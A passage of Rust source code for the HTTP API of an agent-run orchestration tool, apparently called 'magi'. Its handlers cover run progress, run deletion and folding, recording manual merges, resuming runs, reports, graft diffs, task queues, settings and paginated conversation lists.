4501/// Lightweight observation: never replaces the evidence used by controls.
4502async fn run_progress(
4503    State(ui): State<Arc<Ui>>,
4504    Path(id): Path<String>,
4505) -> ApiResult<Json<serde_json::Value>> {
4506    blocking(move || {
4507        let id = resolve_run(&ui.runs, &id)?;
4508        let state = read_run(&ui.runs, &id)?;
4509        let live = state.liveness(crate::daemon::is_working_on(
4510            &ui.home,
4511            &id,
4512            Timestamp::now(),
4513        ));
4514        let waiting = !ui.questions.open_for(&id).is_empty();
4515        Ok(Json(serde_json::json!({
4516            "id": id, "updated_at": state.updated_at, "live": live,
4517            "observed_at": Timestamp::now(),
4518            "progress": crate::run_progress::build(&state, live, waiting),
4519        })))
4520    })
4521    .await
4522}
4523
4524async fn run_detail(
4525    State(ui): State<Arc<Ui>>,
4526    Path(id): Path<String>,
4527) -> ApiResult<Json<RunDetailView>> {
4528    blocking(move || {
4529        let id = resolve_run(&ui.runs, &id)?;
4530        let state = read_run(&ui.runs, &id)?;
4531        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4532        let live = state.liveness(daemon_claims);
4533        crate::queue::record_ids(ui.questions.root(), "json")?;
4534        let waiting = ui
4535            .questions
4536            .list()
4537            .iter()
4538            .any(|q| q.run == id && q.status.open());
4539        let max_attempts = daemon::Opts::default().max_attempts;
4540
4541        let matching_task = ui.find_task_for_run(&id)?;
4542
4543        let superseded_by = state
4544            .pr_taken_over_by
4545            .clone()
4546            .or_else(|| {
4547                matching_task
4548                    .as_ref()
4549                    .and_then(|t| t.successor_of(&id).cloned())
4550            })
4551            .as_deref()
4552            .map(crate::run::short_of)
4553            .map(str::to_owned);
4554
4555        // Best-effort: an unreadable head (mid-write, or deleted) just means
4556        // this run's own status stands on its own, same as no later attempt
4557        // existing at all.
4558        let latest_attempt = matching_task
4559            .as_ref()
4560            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4561            .and_then(|head_id| {
4562                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4563                    short: head.short().to_owned(),
4564                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4565                    status: head.status,
4566                    done: head.status.done(),
4567                    id: head.id,
4568                })
4569            });
4570
4571        let task = matching_task
4572            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4573
4574        Ok(Json(RunDetailView::of(
4575            state,
4576            waiting,
4577            live,
4578            superseded_by,
4579            latest_attempt,
4580            task,
4581        )))
4582    })
4583    .await
4584}
4585
4586/// `DELETE /api/runs/{id}`.
4587///
4588/// Remove a finished, folded run directory along with its artifacts.
4589/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4590/// deleted. This never touches git worktrees or branches - except for a run
4591/// whose state this build cannot read at all, where there is no candidate
4592/// list to check and the wholesale removal `magi fold` already uses for that
4593/// case is the only meaningful "delete".
4594async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4595    let (id, unreadable) = {
4596        let ui = Arc::clone(&ui);
4597        blocking(move || {
4598            let id = resolve_run(&ui.runs, &id)?;
4599            match read_run(&ui.runs, &id) {
4600                Ok(state) => {
4601                    let in_flight =
4602                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4603                    state
4604                        .ensure_can_delete(in_flight)
4605                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4606                    let dir = ui.runs.join(&id);
4607                    std::fs::remove_dir_all(&dir)
4608                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4609                    Ok((id, false))
4610                }
4611                Err(_) => {
4612                    // Unreadable: there is no candidate list to guard on, so
4613                    // a live daemon's claim is the only thing left to check -
4614                    // the same rule `run_fold` applies for the same reason.
4615                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4616                        return Err(ApiError::conflict(format!(
4617                            "run {id} is being worked on by a live daemon right now"
4618                        )));
4619                    }
4620                    Ok((id, true))
4621                }
4622            }
4623        })
4624        .await?
4625    };
4626    if unreadable {
4627        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4628            .await
4629            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4630    }
4631    let ui = Arc::clone(&ui);
4632    let done = id.clone();
4633    blocking(move || {
4634        // The agent that asked died with the run, so an open question would
4635        // keep asking the operator for a decision nobody can deliver.
4636        ui.questions.abandon_for_run(
4637            &done,
4638            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4639        )?;
4640        Ok(())
4641    })
4642    .await?;
4643    Ok(StatusCode::NO_CONTENT)
4644}
4645
4646/// `POST /api/runs/{id}/fold`.
4647///
4648/// Remove a run's candidate worktrees and branches, keeping its record.
4649///
4650/// This exists because the deck answered "delete this run" with *"Candidates
4651/// must be folded before deleting. Run `magi fold` first."* — a phone being
4652/// told to open a terminal, in the one product whose point is that it does
4653/// not need one. The runs an operator most wants gone are the stalled and
4654/// blocked ones, and those are exactly the runs still holding worktrees:
4655/// three of them here held 53 GB.
4656///
4657/// The winner's tree goes too. A fold is what someone asks for when they are
4658/// finished with a run, and leaving one tree behind would leave the delete
4659/// button disabled for the same reason as before.
4660///
4661/// Refused while a live daemon is working on the run, on the rule that guards
4662/// deletion: folding underneath a running agent would pull the tree it is
4663/// editing out from under it.
4664///
4665/// A run whose state this build cannot read at all falls back to
4666/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4667/// selectively, so the whole record's worktree goes wholesale, exactly what
4668/// `magi fold` does on the command line for the same run.
4669async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4670    let (id, state) = {
4671        let ui = Arc::clone(&ui);
4672        blocking(move || {
4673            let id = resolve_run(&ui.runs, &id)?;
4674            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4675                return Err(ApiError::conflict(format!(
4676                    "run {id} is being worked on by a live daemon right now"
4677                )));
4678            }
4679            let state = read_run(&ui.runs, &id).ok();
4680            Ok((id, state))
4681        })
4682        .await?
4683    };
4684    let removed = match state {
4685        Some(mut state) => {
4686            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4687                .await
4688                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4689            // Nothing left to remove is not the same thing as nothing left to
4690            // do — see `clean::clear_abandoned_active`'s own doc for the run
4691            // this exists for: worktrees already gone, but a killed process
4692            // left active seats nobody will ever answer for.
4693            if removed.is_empty() {
4694                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4695                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4696            }
4697            removed
4698        }
4699        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4700            .await
4701            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4702    };
4703    Ok(Json(FoldView {
4704        run: id,
4705        removed_count: removed.len(),
4706        removed,
4707    }))
4708}
4709
4710/// What a fold took away, so the deck can say so rather than only re-render.
4711#[derive(Debug, Serialize)]
4712struct FoldView {
4713    run: String,
4714    /// Worktree paths and branch names removed, in the order they went.
4715    removed: Vec<String>,
4716    removed_count: usize,
4717}
4718
4719/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4720/// merged outside of `land::land`'s own loop.
4721#[derive(Debug, Deserialize)]
4722struct FoldMergedBody {
4723    #[serde(default)]
4724    pr_url: String,
4725}
4726
4727/// `POST /api/runs/{id}/fold-merged`.
4728///
4729/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4730/// `Blocked` with `merge: null` because magi never got as far as opening a
4731/// pull request of its own (a title over GitHub's length limit, `gh pr
4732/// create` unreachable, a stale token), which the operator then finished by
4733/// hand on a pull request magi never recorded. The "Run actions" sheet used
4734/// to have no way to tell it about that pull request short of a terminal and
4735/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4736/// this exists and what it deliberately does not do (`bump::after_merge`).
4737///
4738/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4739/// correction rewrites the same `status`/`merge` fields a running graph would
4740/// be writing to on its own.
4741///
4742/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4743/// calls plus a fold, seconds of work, and the phone should get its answer
4744/// (which pull request it recorded, and what changed) in the same round
4745/// trip rather than learning it from the change stream.
4746async fn run_fold_merged(
4747    State(ui): State<Arc<Ui>>,
4748    Path(id): Path<String>,
4749    Json(body): Json<FoldMergedBody>,
4750) -> ApiResult<Json<FoldMergedView>> {
4751    let pr_url = body.pr_url.trim().to_owned();
4752    if pr_url.is_empty() {
4753        return Err(ApiError::bad_request("pr_url is required"));
4754    }
4755    let (id, mut state) = {
4756        let ui = Arc::clone(&ui);
4757        blocking(move || {
4758            let id = resolve_run(&ui.runs, &id)?;
4759            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4760                return Err(ApiError::conflict(format!(
4761                    "run {id} is being worked on by a live daemon right now"
4762                )));
4763            }
4764            let state = read_run(&ui.runs, &id)?;
4765            Ok((id, state))
4766        })
4767        .await?
4768    };
4769    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4770        .await
4771        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4772    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4773        .await
4774        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4775    Ok(Json(FoldMergedView {
4776        run: id,
4777        before: before.as_str().to_owned(),
4778        after: after.as_str().to_owned(),
4779        removed,
4780    }))
4781}
4782
4783/// What [`run_fold_merged`] did, so the deck can say so.
4784#[derive(Debug, Serialize)]
4785struct FoldMergedView {
4786    run: String,
4787    /// `status` before the correction — normally `"blocked"`.
4788    before: String,
4789    /// `status` after — normally `"merged"`.
4790    after: String,
4791    /// Worktree paths and branch names the trailing fold removed.
4792    removed: Vec<String>,
4793}
4794
4795/// `POST /api/runs/{id}/resume`.
4796///
4797/// Carry a stalled run on from where it stopped, in the background.
4798///
4799/// A stalled card says "the work is kept" and used to offer no way to act on
4800/// that: the candidates are built and paid for, and continuing means re-asking
4801/// only the seats whose absence collapsed the panel. The alternative an
4802/// operator actually had was releasing the task, which competes three fresh
4803/// implementations against work that already exists.
4804///
4805/// **202, not 200.** A resume runs agents for minutes; holding the connection
4806/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4807/// phone learns the outcome from the change stream.
4808///
4809/// Refused when the loop is running at all, not merely when it is on this run.
4810/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4811/// started a second graph on top of whatever the loop is already driving —
4812/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4813/// allows — would spend that quota twice over for no extra throughput.
4814async fn run_resume(
4815    State(ui): State<Arc<Ui>>,
4816    Path(id): Path<String>,
4817) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4818    let admission = ui.begin_admission()?;
4819    admitted(admission, async move {
4820        let (id, state) = {
4821            let ui = Arc::clone(&ui);
4822            blocking(move || {
4823                let id = resolve_run(&ui.runs, &id)?;
4824                let state = read_run(&ui.runs, &id)?;
4825                Ok((id, state))
4826            })
4827            .await?
4828        };
4829        crate::resume::validate_unqueued(&ui.home, &id)
4830            .map_err(|e| ApiError::conflict(e.to_string()))?;
4831        let _resume = ui.begin_resume(&id)?;
4832
4833        crate::resume::start(&ui.home, id.clone())
4834            .await
4835            .map_err(ApiError::from)?;
4836        // The same shape the list route returns, so the phone updates the card it
4837        // already has rather than learning a second schema for one button.
4838        let queued = RunSummary::of(
4839            &state,
4840            !ui.questions.open_for(&id).is_empty(),
4841            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4842        );
4843        Ok((StatusCode::ACCEPTED, Json(queued)))
4844    })
4845    .await
4846}
4847
4848async fn run_report(
4849    State(ui): State<Arc<Ui>>,
4850    Path(id): Path<String>,
4851) -> ApiResult<impl IntoResponse> {
4852    let text = blocking(move || {
4853        let id = resolve_run(&ui.runs, &id)?;
4854        // Colour is off for the whole process, set once in `serve`. Rendering
4855        // is CPU work over the full state, which is the other reason this is
4856        // not on the executor.
4857        let state = read_run(&ui.runs, &id)?;
4858        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4859        let live = state.liveness(daemon_claims);
4860        Ok(format!(
4861            "{}{}",
4862            report::run(&state),
4863            report::active_seats(&state, live)
4864        ))
4865    })
4866    .await?;
4867    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4868}
4869
4870/// The structured twin of [`run_report`]: the same state, as sections the UI
4871/// draws as cards. An unreadable run answers with the same error the text
4872/// route does; it is never turned into an empty report.
4873async fn run_report_json(
4874    State(ui): State<Arc<Ui>>,
4875    Path(id): Path<String>,
4876) -> ApiResult<Json<crate::report_view::RunReportView>> {
4877    let view = blocking(move || {
4878        let id = resolve_run(&ui.runs, &id)?;
4879        let state = read_run(&ui.runs, &id)?;
4880        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4881        // Only a record that lacks the structured details reads `artifacts/`.
4882        let recovered = state.graft.as_ref().map(|_| {
4883            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4884        });
4885        Ok(crate::report_view::build_with(
4886            &state,
4887            state.liveness(daemon_claims),
4888            recovered.as_ref(),
4889        ))
4890    })
4891    .await?;
4892    Ok(Json(view))
4893}
4894
4895/// Archive access uses validated run-owned records, never a request-supplied path.
4896async fn run_seat_evidence(
4897    State(ui): State<Arc<Ui>>,
4898    Path(id): Path<String>,
4899) -> ApiResult<impl IntoResponse> {
4900    let id = resolve_run(&ui.runs, &id)?;
4901    let heads = crate::retention::seat_heads(&ui.home, &id)
4902        .await
4903        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4904    Ok(Json(heads))
4905}
4906
4907async fn run_seat_diff(
4908    State(ui): State<Arc<Ui>>,
4909    Path((id, head)): Path<(String, String)>,
4910) -> ApiResult<impl IntoResponse> {
4911    let id = resolve_run(&ui.runs, &id)?;
4912    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4913        .await
4914        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4915    Ok((
4916        [
4917            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4918            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4919        ],
4920        patch,
4921    ))
4922}
4923
4924/// Most of a graft diff the route returns.
4925const GRAFT_DIFF_MAX: usize = 400 * 1024;
4926/// How long `git diff` may run.
4927const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4928
4929/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4930/// come from the run record, never from the request.
4931async fn run_graft_diff(
4932    State(ui): State<Arc<Ui>>,
4933    Path(id): Path<String>,
4934) -> ApiResult<impl IntoResponse> {
4935    let (repo, pre, post) = blocking(move || {
4936        let id = resolve_run(&ui.runs, &id)?;
4937        let state = read_run(&ui.runs, &id)?;
4938        let g = state
4939            .graft
4940            .as_ref()
4941            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4942        let post = g
4943            .post
4944            .clone()
4945            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4946        Ok((state.repo.clone(), g.pre.clone(), post))
4947    })
4948    .await?;
4949    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4950    if !hex(&pre) || !hex(&post) {
4951        return Err(ApiError::not_found("the recorded commits are not valid"));
4952    }
4953    let out = tokio::time::timeout(
4954        GRAFT_DIFF_TIMEOUT,
4955        crate::git::git_raw(
4956            &repo,
4957            &[
4958                "diff",
4959                "--no-color",
4960                "--no-ext-diff",
4961                "-M",
4962                &pre,
4963                &post,
4964                "--",
4965            ],
4966        ),
4967    )
4968    .await
4969    .map_err(|_| ApiError::not_found("git diff timed out"))?
4970    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4971    if out.code != Some(0) {
4972        return Err(ApiError::not_found(
4973            "the recorded commits are no longer in the repository",
4974        ));
4975    }
4976    let mut body = out.stdout;
4977    if body.len() > GRAFT_DIFF_MAX {
4978        let mut cut = GRAFT_DIFF_MAX;
4979        while !body.is_char_boundary(cut) {
4980            cut -= 1;
4981        }
4982        body.truncate(cut);
4983        body.push_str("\n... diff truncated ...");
4984    }
4985    Ok((
4986        [
4987            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4988            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4989        ],
4990        body,
4991    ))
4992}
4993
4994/// A task as the UI sees it.
4995///
4996/// The whole task, plus the two things the client would otherwise have to
4997/// reimplement: the human-readable source and the status string. Nothing is
4998/// removed - the phone shows `last_error` and the run history verbatim.
4999#[derive(Debug, Serialize)]
5000struct TaskView {
5001    #[serde(flatten)]
5002    task: Task,
5003    source_label: String,
5004    source_link: Option<SourceLink>,
5005    status_str: &'static str,
5006    /// The instruction, parsed as markdown, for the Queue card's "Full
5007    /// instruction" panel. `task.instruction` is unchanged and still carries
5008    /// the raw text.
5009    instruction_md: Vec<md::Node>,
5010    /// For a blocked task, what it waits on with each dependency's state, e.g.
5011    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5012    /// recurses; empty for every other status.
5013    waits_on: Vec<String>,
5014    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5015    /// behind - non-empty means nothing in the loop will ever run it.
5016    stuck_roots: Vec<String>,
5017}
5018
5019impl From<Task> for TaskView {
5020    fn from(task: Task) -> Self {
5021        Self {
5022            source_label: task.source.label(),
5023            source_link: source_link(&task.source),
5024            status_str: task.status.as_str(),
5025            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5026            waits_on: Vec::new(),
5027            stuck_roots: Vec::new(),
5028            task,
5029        }
5030    }
5031}
5032
5033impl TaskView {
5034    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5035        let waits_on = inv.waits_on(&task);
5036        let stuck_roots = inv
5037            .stuck_roots(&task)
5038            .iter()
5039            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5040            .collect();
5041        Self {
5042            waits_on,
5043            stuck_roots,
5044            ..Self::from(task)
5045        }
5046    }
5047}
5048
5049/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5050/// its absence, leaves the cache to decide.
5051#[derive(Debug, Default, Deserialize)]
5052#[serde(default)]
5053struct ReposQuery {
5054    refresh: u8,
5055}
5056
5057/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5058/// listing `magi repos` prints at a terminal.
5059///
5060/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5061/// so an edit to `magi.toml` takes effect without a restart, the same
5062/// reasoning [`config_for`] documents for the talk routes.
5063async fn repos_list(
5064    State(ui): State<Arc<Ui>>,
5065    Query(q): Query<ReposQuery>,
5066) -> ApiResult<Json<Vec<repos::Repo>>> {
5067    let refresh = q.refresh != 0;
5068    blocking(move || {
5069        let (cfg, _) = Config::discover(&ui.repo, None)?;
5070        Ok(Json(ui.repos_cache.list(
5071            &cfg.repos.roots,
5072            Duration::from_secs(cfg.repos.scan_ttl),
5073            refresh,
5074        )))
5075    })
5076    .await
5077}
5078
5079/// Optional context, restricted to the server's known checkouts.
5080#[derive(Debug, Default, Deserialize)]
5081struct SettingsQuery {
5082    repo: Option<PathBuf>,
5083}
5084
5085/// Always discover against the server's original context, never the selection.
5086/// If that config is broken, retain the default context and machine-only roots
5087/// so the settings error contract and recovery picker remain available.
5088fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5089    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5090        let paths: Vec<PathBuf> = ui
5091            .machine_config
5092            .iter()
5093            .filter(|p| p.is_file())
5094            .cloned()
5095            .collect();
5096        if paths.is_empty() {
5097            Ok(Config::autodetected())
5098        } else {
5099            Config::load_layers(&paths)
5100        }
5101    });
5102    let mut known = cfg
5103        .map(|cfg| {
5104            ui.repos_cache.list(
5105                &cfg.repos.roots,
5106                Duration::from_secs(cfg.repos.scan_ttl),
5107                refresh,
5108            )
5109        })
5110        .unwrap_or_default();
5111    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5112    if !known.iter().any(|r| r.path == path) {
5113        known.push(repos::Repo {
5114            name: path
5115                .file_name()
5116                .unwrap_or_default()
5117                .to_string_lossy()
5118                .into_owned(),
5119            path,
5120        });
5121    }
5122    known
5123}
5124
5125fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5126    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5127    let canonical = requested.canonicalize().ok();
5128    let mut known = settings_repositories(ui, false);
5129    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5130    if !known.iter().any(matches) {
5131        known = settings_repositories(ui, true);
5132    }
5133    let repo = known
5134        .iter()
5135        .find(|r| matches(r))
5136        .map(|r| r.path.clone())
5137        .ok_or_else(|| ApiError {
5138            text_reason: None,
5139            status: StatusCode::UNPROCESSABLE_ENTITY,
5140            message: "Choose a known repository from the Settings selector.".to_owned(),
5141        })?;
5142    Ok((repo, known))
5143}
5144
5145/// `GET /api/settings` - the effective role assignments and roster, with the
5146/// layer each came from. A config that fails to load answers 200 with an
5147/// `error`, so the screen can say so instead of drawing empty lists.
5148async fn settings_get(
5149    State(ui): State<Arc<Ui>>,
5150    Query(q): Query<SettingsQuery>,
5151) -> ApiResult<Json<settings::SettingsView>> {
5152    blocking(move || {
5153        let (repo, known) = settings_context(&ui, q)?;
5154        Ok(Json(settings::view_with_repos(
5155            &repo,
5156            ui.machine_config.as_deref(),
5157            &known,
5158        )))
5159    })
5160    .await
5161}
5162
5163/// The body of `PUT /api/settings/roles`.
5164#[derive(Debug, Deserialize)]
5165#[serde(deny_unknown_fields)]
5166struct RolesBody {
5167    /// The `revision` the client last read.
5168    revision: String,
5169    /// Role key to its new ids; an empty list resets the key to its default.
5170    #[serde(default)]
5171    roles: std::collections::BTreeMap<String, Vec<String>>,
5172    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5173    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5174    /// words (422) instead of as a deserialization error.
5175    #[serde(default)]
5176    counts: std::collections::BTreeMap<String, serde_json::Value>,
5177}
5178
5179/// `PUT /api/settings/roles` - save role assignments to the machine config.
5180///
5181/// The write target is `ui.machine_config` and nothing in the body can change
5182/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5183/// 422 with the reason in words.
5184async fn settings_put_roles(
5185    State(ui): State<Arc<Ui>>,
5186    Query(q): Query<SettingsQuery>,
5187    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5188) -> ApiResult<Json<settings::SettingsView>> {
5189    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5190    blocking(move || {
5191        let (repo, known) = settings_context(&ui, q)?;
5192        settings::save_with_repos(
5193            &repo,
5194            ui.machine_config.as_deref(),
5195            &body.revision,
5196            &body.roles,
5197            &body.counts,
5198            &known,
5199        )
5200        .map(Json)
5201        .map_err(|e| match e {
5202            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5203            settings::SaveError::Refused(m) => ApiError {
5204                text_reason: None,
5205                status: StatusCode::UNPROCESSABLE_ENTITY,
5206                message: m,
5207            },
5208            settings::SaveError::Internal(m) => ApiError::internal(m),
5209        })
5210    })
5211    .await
5212}
5213
5214async fn queue_list(
5215    State(ui): State<Arc<Ui>>,
5216    Query(q): Query<ListQuery>,
5217) -> ApiResult<Json<Vec<TaskView>>> {
5218    blocking(move || {
5219        let tasks = ui.queue.list();
5220        let inv =
5221            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5222        Ok(Json(
5223            tasks
5224                .into_iter()
5225                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5226                .map(|t| TaskView::with_inventory(t, &inv))
5227                .collect(),
5228        ))
5229    })
5230    .await
5231}
5232
5233/// History pages read a bounded number of records; the first conversation
5234/// page also includes every open talk. Cursors advance through a frozen snapshot,
5235/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5236/// Concurrent inserts are reconciled by a trailing store refresh.
5237#[derive(Debug, Default, Deserialize)]
5238struct PageQuery {
5239    before: Option<String>,
5240}
5241
5242#[derive(Serialize)]
5243struct StorePage<T> {
5244    rows: Vec<T>,
5245    next: Option<String>,
5246}
5247
5248const STORE_PAGE_SIZE: usize = 16;
5249
5250/// Freeze membership and the initial open/history boundary for a cursor walk.
5251/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5252/// the next store revision. Never rescan the entire directory for every page.
5253#[derive(Debug)]
5254struct ListWalk {
5255    token: u64,
5256    talks: bool,
5257    opened: std::time::Instant,
5258    ids: Arc<Vec<String>>,
5259    initial_end: usize,
5260}
5261
5262fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5263    page_ids_with(ui, talks, q, open_talk_ids)
5264}
5265
5266fn page_ids_with(
5267    ui: &Ui,
5268    talks: bool,
5269    q: PageQuery,
5270    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5271) -> ApiResult<(Vec<String>, Option<String>)> {
5272    let mut walks = ui
5273        .monitor
5274        .list_walks
5275        .lock()
5276        .unwrap_or_else(PoisonError::into_inner);
5277    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5278    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5279        let (token, offset) = cursor
5280            .split_once(':')
5281            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5282        let token = token
5283            .parse::<u64>()
5284            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5285        let offset = offset
5286            .parse::<usize>()
5287            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5288        let walk = walks
5289            .iter()
5290            .find(|walk| walk.token == token && walk.talks == talks)
5291            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5292        (token, walk.ids.clone(), offset, walk.initial_end)
5293    } else {
5294        // Header I/O must not hold the snapshot registry shared with queue
5295        // pagination or with clients continuing an existing history walk.
5296        drop(walks);
5297        let root = if talks {
5298            ui.talks.root()
5299        } else {
5300            ui.queue.root()
5301        };
5302        let mut ids = crate::queue::record_ids(root, "json")?;
5303        ids.sort_unstable_by(|a, b| b.cmp(a));
5304        let initial_end = if talks {
5305            let open = classify(ui, &ids);
5306            // Stable partition: ID order is only the existing membership order,
5307            // never a substitute for the UI's creation-time ordering.
5308            ids.sort_by_key(|id| !open.contains(id));
5309            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5310        } else {
5311            STORE_PAGE_SIZE.min(ids.len())
5312        };
5313        let ids = Arc::new(ids);
5314        walks = ui
5315            .monitor
5316            .list_walks
5317            .lock()
5318            .unwrap_or_else(PoisonError::into_inner);
5319        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5320        let mut token = crate::rng::entropy();
5321        while walks.iter().any(|walk| walk.token == token) {
5322            token = crate::rng::entropy();
5323        }
5324        // Four clients can enumerate both stores and overlap a refresh. Bound
5325        // retained membership snapshots; an evicted cursor explicitly retries.
5326        if walks.len() >= 16 {
5327            walks.remove(0);
5328        }
5329        walks.push(ListWalk {
5330            token,
5331            talks,
5332            opened: std::time::Instant::now(),
5333            ids: ids.clone(),
5334            initial_end,
5335        });
5336        (token, ids, 0, initial_end)
5337    };
5338    if offset > ids.len() {
5339        return Err(ApiError::bad_request("Invalid list cursor"));
5340    }
5341    let end = if offset == 0 {
5342        initial_end
5343    } else {
5344        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5345    };
5346    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5347    Ok((ids[offset..end].to_vec(), next))
5348}
5349
5350async fn queue_page(
5351    State(ui): State<Arc<Ui>>,
5352    Query(q): Query<PageQuery>,
5353) -> ApiResult<Json<StorePage<TaskView>>> {
5354    blocking(move || {
5355        let (ids, next) = page_ids(&ui, false, q)?;
5356        let tasks: Vec<_> = ids
5357            .into_iter()
5358            .filter_map(|id| ui.queue.get(&id).ok())
5359            .collect();
5360        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5361        let rows = tasks
5362            .into_iter()
5363            .map(|task| TaskView::with_inventory(task, &inv))
5364            .collect();
5365        Ok(Json(StorePage { rows, next }))
5366    })
5367    .await
5368}
5369
5370/// Fixed-size wire projection. Agent timestamps stay in the server index so
5371/// exact unread counts do not require sending an ever-growing turn list.
5372#[derive(Debug, Clone, Serialize)]
5373struct TalkListView {
5374    title: Option<talk::ChatTitle>,
5375    id: String,
5376    repo: PathBuf,
5377    agent: String,
5378    status: talk::TalkStatus,
5379    turns: Vec<TalkListTurn>,
5380    turn_count: usize,
5381    unread_count: usize,
5382    context: talk::ContextUsage,
5383    #[serde(skip)]
5384    agent_times: Vec<Timestamp>,
5385    thinking: bool,
5386    created_at: Timestamp,
5387    updated_at: Timestamp,
5388}
5389
5390#[derive(Debug, Clone, Serialize)]
5391struct TalkListTurn {
5392    who: talk::Who,
5393    at: Timestamp,
5394    body: String,
5395}
5396
5397fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5398    let reads: HashMap<String, Timestamp> = headers
5399        .get("x-talk-reads")
5400        .and_then(|v| v.to_str().ok())
5401        .and_then(|v| serde_json::from_str(v).ok())
5402        .unwrap_or_default();
5403    let mut index = ui
5404        .monitor
5405        .talk_index
5406        .lock()
